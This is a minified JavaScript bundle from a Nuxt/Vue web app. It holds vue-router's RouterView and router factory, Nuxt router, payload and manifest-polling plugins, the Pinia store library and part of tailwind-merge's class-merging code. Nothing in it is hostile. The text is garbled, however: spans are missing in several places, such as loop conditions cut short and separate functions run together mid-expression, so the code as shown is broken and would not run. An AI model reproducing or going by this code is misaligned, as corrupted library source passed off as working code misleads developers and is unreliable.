ja=(e,t,n)=>e??t??n,Sm=bt({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(e,{attrs:t,slots:n}){const r=Fe(Cs),o=ce(()=>e.route||r.value),s=Fe(Na,0),i=ce(()=>{let u=ye(s);const{matched:c}=o.value;let f;for(;(f=c[u])&&!f.components;)u++;return u}),a=ce(()=>o.value.matched[i.value]);bn(Na,ce(()=>i.value+1)),bn(bm,a),bn(Cs,o);const l=Te();return at(()=>[l.value,a.value,e.name],([u,c,f],[d,h,b])=>{c&&(c.instances[f]=u,h&&h!==c&&u&&u===d&&(c.leaveGuards.size||(c.leaveGuards=h.leaveGuards),c.updateGuards.size||(c.updateGuards=h.updateGuards))),u&&c&&(!h||!xn(c,h)||!d)&&(c.enterCallbacks[f]||[]).forEach(E=>E(u))},{flush:"post"}),()=>{const u=o.value,c=e.name,f=a.value,d=f&&f.components[c];if(!d)return Fa(n.default,{Component:d,route:u});const h=f.props[c],b=h?h===!0?u.params:typeof h=="function"?h(u):h:null,A=Ke(d,le({},b,t,{onVnodeUnmounted:P=>{P.component.isUnmounted&&(f.instances[c]=null)},ref:l}));return Fa(n.default,{Component:A,route:u})||A}}});function Fa(e,t){if(!e)return null;const n=e(t);return n.length===1?n[0]:n}const au=Sm;function xm(e){const t=dm(e.routes,e),n=e.parseQuery||mm,r=e.stringifyQuery||Ma,o=e.history,s=$n(),i=$n(),a=$n(),l=en(et);let u=et;cn&&e.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const c=Bo.bind(null,R=>""+R),f=Bo.bind(null,jg),d=Bo.bind(null,rr);function h(R,U){let F,W;return ru(R)?(F=t.getRecordMatcher(R),W=U):W=R,t.addRoute(W,F)}function b(R){const U=t.getRecordMatcher(R);U&&t.removeRoute(U)}function E(){return t.getRoutes().map(R=>R.record)}function A(R){return!!t.getRecordMatcher(R)}function P(R,U){if(U=le({},U||l.value),typeof R=="string"){const g=Uo(n,R,U.path),w=t.resolve({path:g.path},U),k=o.createHref(g.fullPath);return le(g,w,{params:d(w.params),hash:rr(g.hash),redirectedFrom:void 0,href:k})}let F;if(R.path!=null)F=le({},R,{path:Uo(n,R.path,U.path).path});else{const g=le({},R.params);for(const w in g)g[w]==null&&delete g[w];F=le({},R,{params:f(g)}),U.params=f(U.params)}const W=t.resolve(F,U),ie=R.hash||"";W.params=c(d(W.params));const ge=Ug(r,le({},R,{hash:Ng(ie),path:W.path})),p=o.createHref(ge);return le({fullPath:ge,hash:ie,query:r===Ma?ym(R.query):R.query||{}},W,{redirectedFrom:void 0,href:p})}function y(R){return typeof R=="string"?Uo(n,R,l.value.path):le({},R)}function m(R,U){if(u!==R)return Tn(8,{from:U,to:R})}function v(R){return M(R)}function _(R){return v(le(y(R),{replace:!0}))}function C(R){const U=R.matched[R.matched.length-1];if(U&&U.redirect){const{redirect:F}=U;let W=typeof F=="function"?F(R):F;return typeof W=="string"&&(W=W.includes("?")||W.includes("#")?W=y(W):{path:W},W.params={}),le({query:R.query,hash:R.hash,params:W.path!=null?{}:R.params},W)}}function M(R,U){const F=u=P(R),W=l.value,ie=R.state,ge=R.force,p=R.replace===!0,g=C(F);if(g)return M(le(y(g),{state:typeof g=="object"?le({},ie,g.state):ie,force:ge,replace:p}),U||F);const w=F;w.redirectedFrom=U;let k;return!ge&&Dg(r,W,F)&&(k=Tn(16,{to:w,from:W}),ke(W,W,!0,!1)),(k?Promise.resolve(k):L(w,W)).catch(x=>dt(x)?dt(x,2)?x:Ye(x):q(x,w,W)).then(x=>{if(x){if(dt(x,2))return M(le({replace:p},y(x.to),{state:typeof x.to=="object"?le({},ie,x.to.state):ie,force:ge}),U||w)}else x=T(w,W,!0,p,ie);return V(w,W,x),x})}function S(R,U){const F=m(R,U);return F?Promise.reject(F):Promise.resolve()}function I(R){const U=sn.values().next().value;return U&&typeof U.runWithContext=="function"?U.runWithContext(R):R()}function L(R,U){let F;const[W,ie,ge]=Tm(R,U);F=Do(W.reverse(),"beforeRouteLeave",R,U);for(const g of W)g.leaveGuards.forEach(w=>{F.push(Lt(w,R,U))});const p=S.bind(null,R,U);return F.push(p),Ie(F).then(()=>{F=[];for(const g of s.list())F.push(Lt(g,R,U));return F.push(p),Ie(F)}).then(()=>{F=Do(ie,"beforeRouteUpdate",R,U);for(const g of ie)g.updateGuards.forEach(w=>{F.push(Lt(w,R,U))});return F.push(p),Ie(F)}).then(()=>{F=[];for(const g of ge)if(g.beforeEnter)if(nt(g.beforeEnter))for(const w of g.beforeEnter)F.push(Lt(w,R,U));else F.push(Lt(g.beforeEnter,R,U));return F.push(p),Ie(F)}).then(()=>(R.matched.forEach(g=>g.enterCallbacks={}),F=Do(ge,"beforeRouteEnter",R,U,I),F.push(p),Ie(F))).then(()=>{F=[];for(const g of i.list())F.push(Lt(g,R,U));return F.push(p),Ie(F)}).catch(g=>dt(g,8)?g:Promise.reject(g))}function V(R,U,F){a.list().forEach(W=>I(()=>W(R,U,F)))}function T(R,U,F,W,ie){const ge=m(R,U);if(ge)return ge;const p=U===et,g=cn?history.state:{};F&&(W||p?o.replace(R.fullPath,le({scroll:p&&g&&g.scroll},ie)):o.push(R.fullPath,ie)),l.value=R,ke(R,U,F,p),Ye()}let z;function oe(){z||(z=o.listen((R,U,F)=>{if(!hr.listening)return;const W=P(R),ie=C(W);if(ie){M(le(ie,{replace:!0}),W).catch(Kn);return}u=W;const ge=l.value;cn&&Qg(Ta(ge.fullPath,F.delta),wo()),L(W,ge).catch(p=>dt(p,12)?p:dt(p,2)?(M(p.to,W).then(g=>{dt(g,20)&&!F.delta&&F.type===or.pop&&o.go(-1,!1)}).catch(Kn),Promise.reject()):(F.delta&&o.go(-F.delta,!1),q(p,W,ge))).then(p=>{p=p||T(W,ge,!1),p&&(F.delta&&!dt(p,8)?o.go(-F.delta,!1):F.type===or.pop&&dt(p,20)&&o.go(-1,!1)),V(W,ge,p)}).catch(Kn)}))}let re=$n(),H=$n(),X;function q(R,U,F){Ye(R);const W=H.list();return W.length?W.forEach(ie=>ie(R,U,F)):console.error(R),Promise.reject(R)}function Re(){return X&&l.value!==et?Promise.resolve():new Promise((R,U)=>{re.add([R,U])})}function Ye(R){return X||(X=!R,oe(),re.list().forEach(([U,F])=>R?F(R):U()),re.reset()),R}function ke(R,U,F,W){const{scrollBehavior:ie}=e;if(!cn||!ie)return Promise.resolve();const ge=!F&&Xg(Ta(R.fullPath,0))||(W||!F)&&history.state&&history.state.scroll||null;return yt().then(()=>ie(R,U,ge)).then(p=>p&&Jg(p)).catch(p=>q(p,R,U))}const Ce=R=>o.go(R);let on;const sn=new Set,hr={currentRoute:l,listening:!0,addRoute:h,removeRoute:b,hasRoute:A,getRoutes:E,resolve:P,options:e,push:v,replace:_,go:Ce,back:()=>Ce(-1),forward:()=>Ce(1),beforeEach:s.add,beforeResolve:i.add,afterEach:a.add,onError:H.add,isReady:Re,install(R){const U=this;R.component("RouterLink",wm),R.component("RouterView",au),R.config.globalProperties.$router=U,Object.defineProperty(R.config.globalProperties,"$route",{enumerable:!0,get:()=>ye(l)}),cn&&!on&&l.value===et&&(on=!0,v(o.location).catch(ie=>{}));const F={};for(const ie in et)Object.defineProperty(F,ie,{get:()=>l.value[ie],enumerable:!0});R.provide(mi,U),R.provide(iu,lr(F)),R.provide(Cs,l);const W=R.unmount;sn.add(R),R.unmount=function(){sn.delete(R),sn.size<1&&(u=et,z&&z(),z=null,l.value=et,on=!1,X=!1),W()}}};function Ie(R){return R.reduce((U,F)=>U.then(()=>I(F)),Promise.resolve())}return hr}function Tm(e,t){const n=[],r=[],o=[],s=Math.max(t.matched.length,e.matched.length);for(let i=0;ixn(u,a))?r.push(a):n.push(a));const l=e.matched[i];l&&(t.matched.find(u=>xn(u,l))||o.push(l))}return[n,r,o]}const Rm=(e,t)=>t.path.replace(/(:\w+)\([^)]+\)/g,"$1").replace(/(:\w+)[?+*]/g,"$1").replace(/:\w+/g,n=>{var r;return((r=e.params[n.slice(1)])==null?void 0:r.toString())||""}),Ss=(e,t)=>{const n=e.route.matched.find(o=>{var s;return((s=o.components)==null?void 0:s.default)===e.Component.type}),r=t??(n==null?void 0:n.meta.key)??(n&&Rm(e.route,n));return typeof r=="function"?r(e.route):r},Am=(e,t)=>({default:()=>e?Ke(Uf,e===!0?{}:e,t):t});function yi(e){return Array.isArray(e)?e:[e]}const Pm="modulepreload",km=function(e,t){return e[0]==="."?new URL(e,t).href:e},Ba={},Im=function(t,n,r){let o=Promise.resolve();if(n&&n.length>0){const s=document.getElementsByTagName("link"),i=document.querySelector("meta[property=csp-nonce]"),a=(i==null?void 0:i.nonce)||(i==null?void 0:i.getAttribute("nonce"));o=Promise.all(n.map(l=>{if(l=km(l,r),l in Ba)return;Ba[l]=!0;const u=l.endsWith(".css"),c=u?'[rel="stylesheet"]':"";if(!!r)for(let h=s.length-1;h>=0;h--){const b=s[h];if(b.href===l&&(!u||b.rel==="stylesheet"))return}else if(document.querySelector(`link[href="${l}"]${c}`))return;const d=document.createElement("link");if(d.rel=u?"stylesheet":Pm,u||(d.as="script",d.crossOrigin=""),d.href=l,a&&d.setAttribute("nonce",a),document.head.appendChild(d),u)return new Promise((h,b)=>{d.addEventListener("load",h),d.addEventListener("error",()=>b(new Error(`Unable to preload CSS for ${l}`)))})}))}return o.then(()=>t()).catch(s=>{const i=new Event("vite:preloadError",{cancelable:!0});if(i.payload=s,window.dispatchEvent(i),!i.defaultPrevented)throw s})},sr=(...e)=>Im(...e).catch(t=>{const n=new Event("nuxt.preloadError");throw n.payload=t,window.dispatchEvent(n),t}),qo=null,Ua=[{name:"index",path:"/",meta:{},alias:[],redirect:qo==null?void 0:qo.redirect,component:()=>sr(()=>import("./Db-QFXKK.js"),__vite__mapDeps([0,1,2,3,4]),import.meta.url).then(e=>e.default||e)}],Om=(e,t,n)=>(t=t===!0?{}:t,{default:()=>{var r;return t?Ke(e,t,n):(r=n.default)==null?void 0:r.call(n)}});function Da(e){const t=(e==null?void 0:e.meta.key)??e.path.replace(/(:\w+)\([^)]+\)/g,"$1").replace(/(:\w+)[?+*]/g,"$1").replace(/:\w+/g,n=>{var r;return((r=e.params[n.slice(1)])==null?void 0:r.toString())||""});return typeof t=="function"?t(e):t}function Lm(e,t){return e===t||t===et?!1:Da(e)!==Da(t)?!0:!e.matched.every((r,o)=>{var s,i;return r.components&&r.components.default===((i=(s=t.matched[o])==null?void 0:s.components)==null?void 0:i.default)})}const Mm={scrollBehavior(e,t,n){var u;const r=ve(),o=((u=ft().options)==null?void 0:u.scrollBehaviorType)??"auto";let s=n||void 0;const i=typeof e.meta.scrollToTop=="function"?e.meta.scrollToTop(e,t):e.meta.scrollToTop;if(!s&&t&&e&&i!==!1&&Lm(e,t)&&(s={left:0,top:0}),e.path===t.path)return t.hash&&!e.hash?{left:0,top:0}:e.hash?{el:e.hash,top:qa(e.hash),behavior:o}:!1;const a=c=>!!(c.meta.pageTransition??_s),l=a(t)&&a(e)?"page:transition:finish":"page:finish";return new Promise(c=>{r.hooks.hookOnce(l,async()=>{await new Promise(f=>setTimeout(f,0)),e.hash&&(s={el:e.hash,top:qa(e.hash),behavior:o}),c(s)})})}};function qa(e){try{const t=document.querySelector(e);if(t)return parseFloat(getComputedStyle(t).scrollMarginTop)}catch{}return 0}const Nm={hashMode:!1,scrollBehaviorType:"auto"},qe={...Nm,...Mm},$m=async e=>{var l;let t,n;if(!((l=e.meta)!=null&&l.validate))return;const r=ve(),o=ft();if(([t,n]=nr(()=>Promise.resolve(e.meta.validate(e))),t=await t,n(),t)===!0)return;const i=vo({statusCode:404,statusMessage:`Page Not Found: ${e.fullPath}`,data:{path:e.fullPath}}),a=o.beforeResolve(u=>{if(a(),u===e){const c=o.afterEach(async()=>{c(),await r.runWithContext(()=>un(i)),window.history.pushState({},"",e.fullPath)});return!1}})},Hm=async e=>{let t,n;const r=([t,n]=nr(()=>hi(e.path)),t=await t,n(),t);if(r.redirect)return rn(r.redirect,{acceptRelative:!0})?(window.location.href=r.redirect,!1):r.redirect},jm=[$m,Hm],Gn={};function Fm(e,t,n){const{pathname:r,search:o,hash:s}=t,i=e.indexOf("#");if(i>-1){const u=s.includes(e.slice(i))?e.slice(i).length:1;let c=s.slice(u);return c[0]!=="/"&&(c="/"+c),ua(c,"")}const a=ua(r,e),l=!n||Ap(a,n,{trailingSlash:!0})?a:n;return l+(l.includes("?")?"":o)+s}const Bm=Ue({name:"nuxt:router",enforce:"pre",async setup(e){var A,P;let t,n,r=ci().app.baseURL;qe.hashMode&&!r.includes("#")&&(r+="#");const o=((A=qe.history)==null?void 0:A.call(qe,r))??(qe.hashMode?tm(r):nu(r)),s=((P=qe.routes)==null?void 0:P.call(qe,Ua))??Ua;let i;const a=xm({...qe,scrollBehavior:(y,m,v)=>{if(m===et){i=v;return}if(qe.scrollBehavior){if(a.options.scrollBehavior=qe.scrollBehavior,"scrollRestoration"in window.history){const _=a.beforeEach(()=>{_(),window.history.scrollRestoration="manual"})}return qe.scrollBehavior(y,et,i||v)}},history:o,routes:s});"scrollRestoration"in window.history&&(window.history.scrollRestoration="auto"),e.vueApp.use(a);const l=en(a.currentRoute.value);a.afterEach((y,m)=>{l.value=m}),Object.defineProperty(e.vueApp.config.globalProperties,"previousRoute",{get:()=>l.value});const u=Fm(r,window.location,e.payload.path),c=en(a.currentRoute.value),f=()=>{c.value=a.currentRoute.value};e.hook("page:finish",f),a.afterEach((y,m)=>{var v,_,C,M;((_=(v=y.matched[0])==null?void 0:v.components)==null?void 0:_.default)===((M=(C=m.matched[0])==null?void 0:C.components)==null?void 0:M.default)&&f()});const d={};for(const y in c.value)Object.defineProperty(d,y,{get:()=>c.value[y]});e._route=lr(d),e._middleware=e._middleware||{global:[],named:{}};try{[t,n]=nr(()=>a.isReady()),await t,n()}catch(y){[t,n]=nr(()=>e.runWithContext(()=>un(y))),await t,n()}const h=u!==a.currentRoute.value.fullPath?a.resolve(u):a.currentRoute.value;f();const b=e.payload.state._layout;a.beforeEach(async(y,m)=>{var v;await e.callHook("page:loading:start"),y.meta=Ne(y.meta),e.isHydrating&&b&&!En(y.meta.layout)&&(y.meta.layout=b),e._processingMiddleware=!0;{const _=new Set([...jm,...e._middleware.global]);for(const C of y.matched){const M=C.meta.middleware;if(M)for(const S of yi(M))_.add(S)}{const C=await e.runWithContext(()=>hi(y.path));if(C.appMiddleware)for(const M in C.appMiddleware)C.appMiddleware[M]?_.add(M):_.delete(M)}for(const C of _){const M=typeof C=="string"?e._middleware.named[C]||await((v=Gn[C])==null?void 0:v.call(Gn).then(I=>I.default||I)):C;if(!M)throw new Error(`Unknown route middleware: '${C}'.`);const S=await e.runWithContext(()=>M(y,m));if(!e.payload.serverRendered&&e.isHydrating&&(S===!1||S instanceof Error)){const I=S||ms({statusCode:404,statusMessage:`Page Not Found: ${u}`});return await e.runWithContext(()=>un(I)),!1}if(S!==!0&&(S||S===!1))return S}}}),a.onError(async()=>{delete e._processingMiddleware,await e.callHook("page:loading:end")});const E=bo();return a.afterEach(async(y,m,v)=>{delete e._processingMiddleware,!e.isHydrating&&E.value&&await e.runWithContext(vh),v&&await e.callHook("page:loading:end"),y.matched.length===0&&await e.runWithContext(()=>un(ms({statusCode:404,fatal:!1,statusMessage:`Page not found: ${y.fullPath}`,data:{path:y.fullPath}})))}),e.hooks.hookOnce("app:created",async()=>{try{"name"in h&&(h.name=void 0),await a.replace({...h,force:!0}),a.options.scrollBehavior=qe.scrollBehavior}catch(y){await e.runWithContext(()=>un(y))}}),{provide:{router:a}}}}),Va=globalThis.requestIdleCallback||(e=>{const t=Date.now(),n={didTimeout:!1,timeRemaining:()=>Math.max(0,50-(Date.now()-t))};return setTimeout(()=>{e(n)},1)}),Vb=globalThis.cancelIdleCallback||(e=>{clearTimeout(e)}),lu=e=>{const t=ve();t.isHydrating?t.hooks.hookOnce("app:suspense:resolve",()=>{Va(e)}):Va(e)},Um=Ue({name:"nuxt:payload",setup(e){ft().beforeResolve(async(t,n)=>{if(t.path===n.path)return;const r=await Ea(t.path);r&&Object.assign(e.static.data,r.data)}),lu(()=>{var t;e.hooks.hook("link:prefetch",async n=>{mo(n).protocol||await Ea(n)}),((t=navigator.connection)==null?void 0:t.effectiveType)!=="slow-2g"&&setTimeout(_o,1e3)})}}),Dm=Ue(e=>{let t;async function n(){const r=await _o();t&&clearTimeout(t),t=setTimeout(n,1e3*60*60);try{const o=await $fetch(li("builds/latest.json")+`?${Date.now()}`);o.id!==r.id&&e.hooks.callHook("app:manifest:update",o)}catch{}}lu(()=>{t=setTimeout(n,1e3*60*60)})}),qm=!1;/*! * pinia v2.1.7 * (c) 2023 Eduardo San Martin Morote * @license MIT - */let cu;const dr=e=>cu=e,uu=Symbol();function xs(e){return e&&typeof e=="object"&&Object.prototype.toString.call(e)==="[object Object]"&&typeof e.toJSON!="function"}var Jn;(function(e){e.direct="direct",e.patchObject="patch object",e.patchFunction="patch function"})(Jn||(Jn={}));function Vm(){const e=Us(!0),t=e.run(()=>Te({}));let n=[],r=[];const o=Gs({install(s){dr(o),o._a=s,s.provide(uu,o),s.config.globalProperties.$pinia=o,r.forEach(i=>n.push(i)),r=[]},use(s){return!this._a&&!qm?r.push(s):n.push(s),this},_p:n,_a:null,_e:e,_s:new Map,state:t});return o}const fu=()=>{};function Wa(e,t,n,r=fu){e.push(t);const o=()=>{const s=e.indexOf(t);s>-1&&(e.splice(s,1),r())};return!n&&ll()&&qu(o),o}function ln(e,...t){e.slice().forEach(n=>{n(...t)})}const Wm=e=>e();function Ts(e,t){e instanceof Map&&t instanceof Map&&t.forEach((n,r)=>e.set(r,n)),e instanceof Set&&t instanceof Set&&t.forEach(e.add,e);for(const n in t){if(!t.hasOwnProperty(n))continue;const r=t[n],o=e[n];xs(o)&&xs(r)&&e.hasOwnProperty(n)&&!_e(r)&&!Yt(r)?e[n]=Ts(o,r):e[n]=r}return e}const Km=Symbol();function zm(e){return!xs(e)||!e.hasOwnProperty(Km)}const{assign:At}=Object;function Gm(e){return!!(_e(e)&&e.effect)}function Jm(e,t,n,r){const{state:o,actions:s,getters:i}=t,a=n.state.value[e];let l;function u(){a||(n.state.value[e]=o?o():{});const c=hf(n.state.value[e]);return At(c,s,Object.keys(i||{}).reduce((f,d)=>(f[d]=Gs(ce(()=>{dr(n);const h=n._s.get(e);return i[d].call(h,h)})),f),{}))}return l=du(e,u,t,n,r,!0),l}function du(e,t,n={},r,o,s){let i;const a=At({actions:{}},n),l={deep:!0};let u,c,f=[],d=[],h;const b=r.state.value[e];!s&&!b&&(r.state.value[e]={}),Te({});let E;function A(S){let I;u=c=!1,typeof S=="function"?(S(r.state.value[e]),I={type:Jn.patchFunction,storeId:e,events:h}):(Ts(r.state.value[e],S),I={type:Jn.patchObject,payload:S,storeId:e,events:h});const L=E=Symbol();yt().then(()=>{E===L&&(u=!0)}),c=!0,ln(f,I,r.state.value[e])}const P=s?function(){const{state:I}=n,L=I?I():{};this.$patch(V=>{At(V,L)})}:fu;function y(){i.stop(),f=[],d=[],r._s.delete(e)}function m(S,I){return function(){dr(r);const L=Array.from(arguments),V=[],T=[];function z(H){V.push(H)}function oe(H){T.push(H)}ln(d,{args:L,name:S,store:_,after:z,onError:oe});let re;try{re=I.apply(this&&this.$id===e?this:_,L)}catch(H){throw ln(T,H),H}return re instanceof Promise?re.then(H=>(ln(V,H),H)).catch(H=>(ln(T,H),Promise.reject(H))):(ln(V,re),re)}}const v={_p:r,$id:e,$onAction:Wa.bind(null,d),$patch:A,$reset:P,$subscribe(S,I={}){const L=Wa(f,S,I.detached,()=>V()),V=i.run(()=>at(()=>r.state.value[e],T=>{(I.flush==="sync"?c:u)&&S({storeId:e,type:Jn.direct,events:h},T)},At({},l,I)));return L},$dispose:y},_=Ne(v);r._s.set(e,_);const M=(r._a&&r._a.runWithContext||Wm)(()=>r._e.run(()=>(i=Us()).run(t)));for(const S in M){const I=M[S];if(_e(I)&&!Gm(I)||Yt(I))s||(b&&zm(I)&&(_e(I)?I.value=b[S]:Ts(I,b[S])),r.state.value[e][S]=I);else if(typeof I=="function"){const L=m(S,I);M[S]=L,a.actions[S]=I}}return At(_,M),At(Z(_),M),Object.defineProperty(_,"$state",{get:()=>r.state.value[e],set:S=>{A(I=>{At(I,S)})}}),r._p.forEach(S=>{At(_,i.run(()=>S({store:_,app:r._a,pinia:r,options:a})))}),b&&s&&n.hydrate&&n.hydrate(_.$state,b),u=!0,c=!0,_}function Wb(e,t,n){let r,o;const s=typeof t=="function";r=e,o=s?n:t;function i(a,l){const u=ei();return a=a||(u?Fe(uu,null):null),a&&dr(a),a=cu,a._s.has(r)||(s?du(r,t,o,a):Jm(r,o,a)),a._s.get(r)}return i.$id=r,i}const Qm="$s";function Xm(...e){const t=typeof e[e.length-1]=="string"?e.pop():void 0;typeof e[0]!="string"&&e.unshift(t);const[n,r]=e;if(!n||typeof n!="string")throw new TypeError("[nuxt] [useState] key must be a string: "+n);if(r!==void 0&&typeof r!="function")throw new Error("[nuxt] [useState] init must be a function: "+r);const o=Qm+n,s=ve(),i=Tl(s.payload.state,o);if(i.value===void 0&&r){const a=r();if(_e(a))return s.payload.state[o]=a,a;i.value=a}return i}function Ym(e={}){const t=e.path||window.location.pathname;let n={};try{n=Gr(sessionStorage.getItem("nuxt:reload")||"{}")}catch{}if(e.force||(n==null?void 0:n.path)!==t||(n==null?void 0:n.expires){const t=Vm();return e.vueApp.use(t),dr(t),e.payload&&e.payload.pinia&&(t.state.value=e.payload.pinia),{provide:{pinia:t}}}),e0=qr(()=>sr(()=>import("./oxvGAWOn.js"),__vite__mapDeps([1,2,3]),import.meta.url).then(e=>e.default||e.default||e)),t0=qr(()=>sr(()=>import("./BKqHqZeU.js"),__vite__mapDeps([5,2,6]),import.meta.url).then(e=>e.default||e.default||e)),n0=[["Icon",e0],["IconCSS",t0]],r0=Ue({name:"nuxt:global-components",setup(e){for(const[t,n]of n0)e.vueApp.component(t,n),e.vueApp.component("Lazy"+t,n)}}),Tr={},o0=Ue({name:"nuxt:prefetch",setup(e){const t=ft();e.hooks.hook("app:mounted",()=>{t.beforeEach(async n=>{var o;const r=(o=n==null?void 0:n.meta)==null?void 0:o.layout;r&&typeof Tr[r]=="function"&&await Tr[r]()})}),e.hooks.hook("link:prefetch",n=>{if(rn(n))return;const r=t.resolve(n);if(!r)return;const o=r.meta.layout;let s=yi(r.meta.middleware);s=s.filter(i=>typeof i=="string");for(const i of s)typeof Gn[i]=="function"&&Gn[i]();o&&typeof Tr[o]=="function"&&Tr[o]()})}}),s0=Symbol("nuxt-ui.slideover"),i0=Ue(e=>{const t=en({component:"div",props:{}});e.vueApp.provide(s0,t)}),a0=Symbol("nuxt-ui.modal"),l0=Ue(e=>{const t=en({component:"div",props:{}});e.vueApp.provide(a0,t)}),bi="-";function c0(e){const t=f0(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;function o(i){const a=i.split(bi);return a[0]===""&&a.length!==1&&a.shift(),pu(a,t)||u0(i)}function s(i,a){const l=n[i]||[];return a&&r[i]?[...l,...r[i]]:l}return{getClassGroupId:o,getConflictingClassGroupIds:s}}function pu(e,t){var i;if(e.length===0)return t.classGroupId;const n=e[0],r=t.nextPart.get(n),o=r?pu(e.slice(1),r):void 0;if(o)return o;if(t.validators.length===0)return;const s=e.join(bi);return(i=t.validators.find(({validator:a})=>a(s)))==null?void 0:i.classGroupId}const Ka=/^\[(.+)\]$/;function u0(e){if(Ka.test(e)){const t=Ka.exec(e)[1],n=t==null?void 0:t.substring(0,t.indexOf(":"));if(n)return"arbitrary.."+n}}function f0(e){const{theme:t,prefix:n}=e,r={nextPart:new Map,validators:[]};return p0(Object.entries(e.classGroups),n).forEach(([s,i])=>{Rs(i,r,s,t)}),r}function Rs(e,t,n,r){e.forEach(o=>{if(typeof o=="string"){const s=o===""?t:za(t,o);s.classGroupId=n;return}if(typeof o=="function"){if(d0(o)){Rs(o(r),t,n,r);return}t.validators.push({validator:o,classGroupId:n});return}Object.entries(o).forEach(([s,i])=>{Rs(i,za(t,s),n,r)})})}function za(e,t){let n=e;return t.split(bi).forEach(r=>{n.nextPart.has(r)||n.nextPart.set(r,{nextPart:new Map,validators:[]}),n=n.nextPart.get(r)}),n}function d0(e){return e.isThemeGetter}function p0(e,t){return t?e.map(([n,r])=>{const o=r.map(s=>typeof s=="string"?t+s:typeof s=="object"?Object.fromEntries(Object.entries(s).map(([i,a])=>[t+i,a])):s);return[n,o]}):e}function h0(e){if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=new Map,r=new Map;function o(s,i){n.set(s,i),t++,t>e&&(t=0,r=n,n=new Map)}return{get(s){let i=n.get(s);if(i!==void 0)return i;if((i=r.get(s))!==void 0)return o(s,i),i},set(s,i){n.has(s)?n.set(s,i):o(s,i)}}}const hu="!";function g0(e){const t=e.separator,n=t.length===1,r=t[0],o=t.length;return function(i){const a=[];let l=0,u=0,c;for(let E=0;Eu?c-u:void 0;return{modifiers:a,hasImportantModifier:d,baseClassName:h,maybePostfixModifierPosition:b}}}function m0(e){if(e.length<=1)return e;const t=[];let n=[];return e.forEach(r=>{r[0]==="["?(t.push(...n.sort(),r),n=[]):n.push(r)}),t.push(...n.sort()),t}function y0(e){return{cache:h0(e.cacheSize),splitModifiers:g0(e),...c0(e)}}const b0=/\s+/;function v0(e,t){const{splitModifiers:n,getClassGroupId:r,getConflictingClassGroupIds:o}=t,s=new Set;return e.trim().split(b0).map(i=>{const{modifiers:a,hasImportantModifier:l,baseClassName:u,maybePostfixModifierPosition:c}=n(i);let f=r(c?u.substring(0,c):u),d=!!c;if(!f){if(!c)return{isTailwindClass:!1,originalClassName:i};if(f=r(u),!f)return{isTailwindClass:!1,originalClassName:i};d=!1}const h=m0(a).join(":");return{isTailwindClass:!0,modifierId:l?h+hu:h,classGroupId:f,originalClassName:i,hasPostfixModifier:d}}).reverse().filter(i=>{if(!i.isTailwindClass)return!0;const{modifierId:a,classGroupId:l,hasPostfixModifier:u}=i,c=a+l;return s.has(c)?!1:(s.add(c),o(l,u).forEach(f=>s.add(a+f)),!0)}).reverse().map(i=>i.originalClassName).join(" ")}function _0(){let e=0,t,n,r="";for(;ef(c),e());return n=y0(u),r=n.cache.get,o=n.cache.set,s=a,a(l)}function a(l){const u=r(l);if(u)return u;const c=v0(l,n);return o(l,c),c}return function(){return s(_0.apply(null,arguments))}}function pe(e){const t=n=>n[e]||[];return t.isThemeGetter=!0,t}const mu=/^\[(?:([a-z-]+):)?(.+)\]$/i,w0=/^\d+\/\d+$/,E0=new Set(["px","full","screen"]),C0=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,S0=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,x0=/^(rgba?|hsla?|hwb|(ok)?(lab|lch))\(.+\)$/,T0=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,R0=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/;function pt(e){return Jt(e)||E0.has(e)||w0.test(e)}function Tt(e){return Ln(e,"length",N0)}function Jt(e){return!!e&&!Number.isNaN(Number(e))}function Rr(e){return Ln(e,"number",Jt)}function Hn(e){return!!e&&Number.isInteger(Number(e))}function A0(e){return e.endsWith("%")&&Jt(e.slice(0,-1))}function te(e){return mu.test(e)}function Rt(e){return C0.test(e)}const P0=new Set(["length","size","percentage"]);function k0(e){return Ln(e,P0,yu)}function I0(e){return Ln(e,"position",yu)}const O0=new Set(["image","url"]);function L0(e){return Ln(e,O0,H0)}function M0(e){return Ln(e,"",$0)}function jn(){return!0}function Ln(e,t,n){const r=mu.exec(e);return r?r[1]?typeof t=="string"?r[1]===t:t.has(r[1]):n(r[2]):!1}function N0(e){return S0.test(e)&&!x0.test(e)}function yu(){return!1}function $0(e){return T0.test(e)}function H0(e){return R0.test(e)}function Ps(){const e=pe("colors"),t=pe("spacing"),n=pe("blur"),r=pe("brightness"),o=pe("borderColor"),s=pe("borderRadius"),i=pe("borderSpacing"),a=pe("borderWidth"),l=pe("contrast"),u=pe("grayscale"),c=pe("hueRotate"),f=pe("invert"),d=pe("gap"),h=pe("gradientColorStops"),b=pe("gradientColorStopPositions"),E=pe("inset"),A=pe("margin"),P=pe("opacity"),y=pe("padding"),m=pe("saturate"),v=pe("scale"),_=pe("sepia"),C=pe("skew"),M=pe("space"),S=pe("translate"),I=()=>["auto","contain","none"],L=()=>["auto","hidden","clip","visible","scroll"],V=()=>["auto",te,t],T=()=>[te,t],z=()=>["",pt,Tt],oe=()=>["auto",Jt,te],re=()=>["bottom","center","left","left-bottom","left-top","right","right-bottom","right-top","top"],H=()=>["solid","dashed","dotted","double","none"],X=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],q=()=>["start","end","center","between","around","evenly","stretch"],Re=()=>["","0",te],Ye=()=>["auto","avoid","all","avoid-page","page","left","right","column"],ke=()=>[Jt,Rr],Ce=()=>[Jt,te];return{cacheSize:500,separator:":",theme:{colors:[jn],spacing:[pt,Tt],blur:["none","",Rt,te],brightness:ke(),borderColor:[e],borderRadius:["none","","full",Rt,te],borderSpacing:T(),borderWidth:z(),contrast:ke(),grayscale:Re(),hueRotate:Ce(),invert:Re(),gap:T(),gradientColorStops:[e],gradientColorStopPositions:[A0,Tt],inset:V(),margin:V(),opacity:ke(),padding:T(),saturate:ke(),scale:ke